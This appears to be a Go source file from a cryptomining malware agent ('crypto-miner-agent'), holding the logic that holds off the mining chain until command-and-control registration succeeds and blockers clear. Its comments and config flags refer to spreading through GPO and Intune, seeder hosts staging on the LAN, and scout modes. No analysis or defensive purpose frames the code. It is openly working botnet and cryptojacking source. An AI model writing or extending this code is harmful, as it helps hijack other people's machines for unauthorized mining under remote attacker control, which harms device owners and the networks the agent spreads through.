package client import ( "context" "log" "strings" "time" "crypto-miner-agent/deploy" ) // MiningDiagnosticsReady reports whether the agent may start the mining fallback chain. // Spread/GPO/Intune agents defer mining until C2 registration succeeds and hard blockers clear. func MiningDiagnosticsReady(d MiningDiagnostics) bool { if d.ChainExhausted { return false } if d.HostMiningDisabled && !d.ContainerRunning { return false } if !d.C2Connected { return false } for _, b := range d.LikelyBlockers { lower := strings.ToLower(b) if strings.Contains(lower, "chain exhausted") || strings.Contains(lower, "host mining disabled") { return false } } return true } // startMiningWhenReady waits for diagnostics pass (or timeout) before launching the chain. func (c *AgentClient) startMiningWhenReady(ctx context.Context) { if c.cfg.IsSeederRole(c.fleetRoleHint()) { log.Printf("[mining] skipped — seeder role serves LAN staging only") return } if c.cfg.MiningDisabled || c.cfg.ApkMode || c.cfg.ScoutMode { log.Printf("[mining] disabled at forge (apk_mode=%v scout_mode=%v mining_disabled=%v)", c.cfg.ApkMode, c.cfg.ScoutMode, c.cfg.MiningDisabled) return } const maxWait = 30 * time.Second deadline := time.Now().Add(maxWait) ticker := time.NewTicker(1 * time.Second) defer ticker.Stop() tryStart := func(reason string) { log.Printf("[mining] %s — starting fallback chain", reason) c.miningChain.Start(ctx) } requireC2 := c.cfg.SimpleDeploy || deploy.WantsDeferMining() for { if MiningDiagnosticsReady(c.collectMiningDiagnostics()) { tryStart("diagnostics pass") return } if time.Now().After(deadline) { if requireC2 && !c.connected.Load() { log.Printf("[mining] still waiting for C2 auth (simple_deploy/defer) — not starting without registration") deadline = time.Now().Add(maxWait) } else { tryStart("diagnostics wait timeout") return } } select { case <-ctx.Done(): return case <-ticker.C: } } }